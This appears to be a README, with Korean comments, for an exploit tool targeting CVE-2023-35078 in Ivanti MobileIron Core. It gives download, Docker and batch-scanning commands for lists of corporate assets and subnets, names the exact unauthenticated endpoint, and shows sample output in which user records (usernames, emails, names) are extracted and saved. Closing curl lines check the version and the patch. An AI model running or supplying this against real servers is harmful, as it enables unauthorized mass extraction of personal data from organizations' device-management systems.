██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝

[+] CVE-2023-35078 - Ivanti MobileIron Core 원격 인증되지 않은 API 접근

# 저장소 복제
git clone https://github.com/0nsec/cve-2023-35078-exploit.git
cd cve-2023-35078-exploit

# 의존성 설치
pip3 install -r requirements.txt

# 실행 권한 부여 (Linux/macOS)
chmod +x cve_2023_35078.py

# 프로젝트 디렉터리 생성
mkdir cve-2023-35078-exploit
cd cve-2023-35078-exploit

# 스크립트 다운로드
wget https://raw.githubusercontent.com/0nsec/cve-2023-35078-exploit/main/cve_2023_35078.py

# 필요한 패키지 설치
pip3 install requests urllib3 termcolor argparse

FROM python:3.9-slim

WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt

COPY cve_2023_35078.py .
ENTRYPOINT ["python3", "cve_2023_35078.py"]

# Docker로 빌드 및 실행
docker build -t cve-2023-35078 .
docker run -v $(pwd)/results:/app/results cve-2023-35078 -u https://target.com

# 단일 대상 테스트
python3 cve_2023_35078.py -u https://mobileiron.example.com

# 파일에서 여러 대상 테스트
python3 cve_2023_35078.py -f targets.txt

# 상세 모드 및 사용자 정의 출력 디렉터리
python3 cve_2023_35078.py -f targets.txt -o ./results -v

# 사용자 정의 타임아웃 및 출력 설정
python3 cve_2023_35078.py -u https://target.com -t 30 -o ./scan_results -v

# 포괄적인 기업 평가
python3 cve_2023_35078.py -f corporate_assets.txt -o ./audit_results -t 30 -v

# 상세 로깅이 포함된 단일 대상
python3 cve_2023_35078.py -u https://mobileiron.target.com -v > detailed_log.txt

# 사용자 정의 타임아웃으로 배치 스캔
python3 cve_2023_35078.py -f subnet_scan.txt -t 5 -o ./batch_results

# 빠른 취약점 확인 (상세 출력 없음)
python3 cve_2023_35078.py -u https://quick.check.com -t 5

██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝

[*] Target: https://vulnerable.mobileiron.com
------------------------------------------------------------
[*] Checking version for: https://vulnerable.mobileiron.com
[*] Detected version: 11.3
[+] Target appears VULNERABLE!
[*] Attempting to exploit: https://vulnerable.mobileiron.com
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[+] SUCCESS! Found 1,247 users
[+] Results saved to: ./results/vulnerable_mobileiron_com_20250821_055013.json
[+] Extracted 1247 user records
[*] Sample fields: ['id', 'username', 'email', 'firstName', 'lastName']...

============================================================
[*] Scan completed!
[*] Targets processed: 1
[*] Successful exploits: 1
[!] WARNING: 1 vulnerable system(s) found!
[!] Ensure proper authorization before testing!

[*] Checking version for: https://test.mobileiron.com
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[*] HTTP 200 - Response length: 45,123 bytes
[*] JSON parsing successful
[*] Found user data structure with 234 records
[+] SUCCESS! Found 234 users
[*] Sample user data: {'id': '12345', 'username': '[email protected]'}
[+] Results saved to: ./results/test_mobileiron_com_20250821_055013.json

# 현재 버전 확인
curl -k https://mobileiron-server/mifs/css/ui.login.css | grep -o "11\.[0-9]"

# 패치된 엔드포인트가 401/403을 반환하는지 확인
curl -k "https://mobileiron-server/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"